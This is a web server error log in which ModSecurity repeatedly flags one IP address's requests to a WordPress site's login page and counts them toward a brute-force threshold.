[Sat Feb 28 14:13:36.596006 2026] [:error] [pid 11791:tid 11807] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHkGuX5e1Q32gqxH0_pwAAAQ4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:39.363218 2026] [:error] [pid 11791:tid 11809] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHk2uX5e1Q32gqxH0_qQAAARA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:40.923924 2026] [:error] [pid 11791:tid 11800] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHlGuX5e1Q32gqxH0_swAAAQc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:44.222234 2026] [:error] [pid 11791:tid 11817] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHmGuX5e1Q32gqxH0_xAAAARg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:45.550549 2026] [:error] [pid 11791:tid 11812] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHmWuX5e1Q32gqxH0_xgAAARM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:48.578298 2026] [:error] [pid 11791:tid 11797] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHnGuX5e1Q32gqxH0_0QAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:50.033737 2026] [:error] [pid 11791:tid 11809] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHnmuX5e1Q32gqxH0_0gAAARA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:53.108927 2026] [:error] [pid 11791:tid 11805] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHoWuX5e1Q32gqxH0_2QAAAQw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:54.698260 2026] [:error] [pid 11791:tid 11804] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHomuX5e1Q32gqxH0_3AAAAQs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:57.625287 2026] [:error] [pid 11791:tid 11817] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHpWuX5e1Q32gqxH0_5gAAARg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:13:59.130025 2026] [:error] [pid 11791:tid 11812] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHp2uX5e1Q32gqxH0_6QAAARM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:02.520223 2026] [:error] [pid 11791:tid 11794] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHqmuX5e1Q32gqxH1ADAAAAQE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:03.910201 2026] [:error] [pid 11791:tid 11801] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHq2uX5e1Q32gqxH1AEgAAAQg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:06.752544 2026] [:error] [pid 11791:tid 11793] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHrmuX5e1Q32gqxH1AHgAAAQA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:08.099321 2026] [:error] [pid 11791:tid 11811] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHsGuX5e1Q32gqxH1ALQAAARI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:11.106249 2026] [:error] [pid 11791:tid 11817] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHs2uX5e1Q32gqxH1ANQAAARg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:12.468153 2026] [:error] [pid 11791:tid 11799] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHtGuX5e1Q32gqxH1ANgAAAQY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:15.499282 2026] [:error] [pid 11791:tid 11800] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHt2uX5e1Q32gqxH1AQAAAAQc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:16.981735 2026] [:error] [pid 11791:tid 11797] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHuGuX5e1Q32gqxH1ARQAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:19.764882 2026] [:error] [pid 11791:tid 11797] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHu2uX5e1Q32gqxH1AWQAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:21.351334 2026] [:error] [pid 11791:tid 11808] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHvWuX5e1Q32gqxH1AXgAAAQ8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:25.718949 2026] [:error] [pid 11791:tid 11805] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHwWuX5e1Q32gqxH1AaAAAAQw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:27.124849 2026] [:error] [pid 11791:tid 11809] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHw2uX5e1Q32gqxH1AawAAARA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:30.553892 2026] [:error] [pid 11791:tid 11811] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHxmuX5e1Q32gqxH1AdAAAARI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:31.987979 2026] [:error] [pid 11791:tid 11814] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHx2uX5e1Q32gqxH1AdwAAARU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:34.724913 2026] [:error] [pid 11791:tid 11812] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHymuX5e1Q32gqxH1AfgAAARM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:35.960530 2026] [:error] [pid 11791:tid 11803] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHy2uX5e1Q32gqxH1AfwAAAQo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:38.935080 2026] [:error] [pid 11791:tid 11817] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKHzmuX5e1Q32gqxH1AhQAAARg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:40.222098 2026] [:error] [pid 11791:tid 11814] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH0GuX5e1Q32gqxH1AiwAAARU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:42.986516 2026] [:error] [pid 11791:tid 11812] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH0muX5e1Q32gqxH1AkQAAARM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:44.309593 2026] [:error] [pid 11791:tid 11798] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH1GuX5e1Q32gqxH1AlAAAAQU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:47.155339 2026] [:error] [pid 11791:tid 11810] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH12uX5e1Q32gqxH1AmAAAARE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:48.660556 2026] [:error] [pid 11791:tid 11793] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH2GuX5e1Q32gqxH1AmgAAAQA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:51.944784 2026] [:error] [pid 11791:tid 11803] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH22uX5e1Q32gqxH1AowAAAQo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:53.375314 2026] [:error] [pid 11791:tid 11806] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH3WuX5e1Q32gqxH1ApwAAAQ0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:56.347366 2026] [:error] [pid 11791:tid 11795] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH4GuX5e1Q32gqxH1AsQAAAQI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:14:58.050499 2026] [:error] [pid 11791:tid 11803] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH4muX5e1Q32gqxH1AuAAAAQo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:00.948733 2026] [:error] [pid 11791:tid 11813] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH5GuX5e1Q32gqxH1AugAAARQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:02.491410 2026] [:error] [pid 11791:tid 11794] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH5muX5e1Q32gqxH1AvgAAAQE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:05.513107 2026] [:error] [pid 11791:tid 11801] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH6WuX5e1Q32gqxH1AwQAAAQg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:06.828317 2026] [:error] [pid 11791:tid 11797] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH6muX5e1Q32gqxH1AwgAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:10.006681 2026] [:error] [pid 11791:tid 11814] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH7muX5e1Q32gqxH1AxQAAARU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:11.430806 2026] [:error] [pid 11791:tid 11806] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH72uX5e1Q32gqxH1AzwAAAQ0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:14.327464 2026] [:error] [pid 11791:tid 11801] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH8muX5e1Q32gqxH1A1wAAAQg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:15.602557 2026] [:error] [pid 11791:tid 11797] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH82uX5e1Q32gqxH1A2AAAAQQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:18.521287 2026] [:error] [pid 11791:tid 11803] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH9muX5e1Q32gqxH1A3gAAAQo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:20.103811 2026] [:error] [pid 11791:tid 11816] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH-GuX5e1Q32gqxH1A4gAAARc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:23.138470 2026] [:error] [pid 11791:tid 11800] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH-2uX5e1Q32gqxH1A5AAAAQc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:24.547644 2026] [:error] [pid 11791:tid 11806] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH_GuX5e1Q32gqxH1A5QAAAQ0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:27.421494 2026] [:error] [pid 11791:tid 11793] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKH_2uX5e1Q32gqxH1A6QAAAQA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:28.748153 2026] [:error] [pid 11791:tid 11815] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIAGuX5e1Q32gqxH1A7AAAARY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:31.614839 2026] [:error] [pid 11791:tid 11799] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIA2uX5e1Q32gqxH1A8QAAAQY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 14:15:33.002528 2026] [:error] [pid 11791:tid 11800] [client 176.65.132.19:51793] [client 176.65.132.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.65.132.19, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaKIBWuX5e1Q32gqxH1A-QAAAQc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
